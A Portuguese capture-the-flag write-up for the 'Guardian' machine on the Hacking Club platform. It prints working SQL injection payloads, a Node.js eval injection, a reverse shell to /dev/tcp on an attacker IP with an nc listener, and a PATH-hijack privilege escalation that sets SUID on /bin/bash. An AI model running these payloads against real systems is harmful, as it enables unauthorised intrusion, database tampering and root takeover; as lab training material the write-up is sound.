- Published on
Guardian Writeup
- Authors
- Name
- Gabriel Silva
- @gabriel-silva-509347165
Plataforma: Hacking Club
Dificuldade: Easy
Nome: Guardian
Port Scanning
nmap -sV -sC -p- -v $IP --open
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 d3:3b:8b:a7:7a:ac:07:57:97:2b:23:35:fc:a4:5e:42 (ECDSA)
|_ 256 b7:4c:f4:d4:3f:be:78:52:88:50:3a:d0:33:b9:48:b1 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
| http-title: Guardian Insurance
|_Requested resource was /login
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Somente as portas 22(SSH) e 80 (HTTP) estão abertas.
Enumeration
A primeira coisa que eu tentei for um SQLi (SQL Injection) nessa parte da aplicação , mas não funcionou.
Como já temos um SQLi (Sql Injection) na parte de “register for first access” a gente vai usar isso pra alterar a aprovação no banco de dados.
"EIN": "' or 1=1; SELECT table_name FROM information_schema.tables WHERE table_schema=database();-- "
"EIN": "' or 1=1; SELECT column_name FROM information_schema.columns WHERE table_name='users';-- "
"EIN": "' or 1=1; UPDATE users SET approved = 1 WHERE approved = 0;-- "
O sistema não tem muita funcionalidade , somente a rota /customers
funciona.
Quando passamos o +2*5 a aplicação retorna o valor 10, ou seja ela está executando a função eval()
logo o parâmetro action
é vulnerável a code injection.
"action": "db.getClients('56-7890123') +2*5"
Foot Hold
"action": "db.getClients('56-7890123'); require('child_process').execSync('bash -c \\"bash -i >& /dev/tcp/10.0.31.150/4444 0>&1\\"').toString();"
nc -lnvp 4444
Privilege Escalation
SUID /opt/backup encontrado:
find / -perm -u=s 2>/dev/null
Verificando as strings do SUID:
strings backup
O plano é criar um script chamado mysqldump
que será invocado antes pelo ELF chamadobackup
.
No Linux, as coisas são executadas em uma ordem específica. Quando executamos um comando, o Linux usa a variável de ambiente $PATH
para encontrar onde esse programa está localizado (em qual diretório). Podemos modificar isso para fazer o programa procurar primeiro na pasta /tmp
.
Assim, em vez do programa executar sua função normal, faremos com que ele execute nosso script malicioso primeiro:
echo '#!/bin/bash' > /tmp/mysqldump
echo 'chmod u+s /bin/bash' >> /tmp/mysqldump
chmod +x /tmp/mysqldump
export PATH=/tmp:$PATH
./backup mysql_backup:7fxzh7m*
Ou seja, criamos um script malicioso que, quando executado pelo programa SUID backup
(com bash -p
para manter as permissões), vai modificar o /bin/bash
para nos conceder root.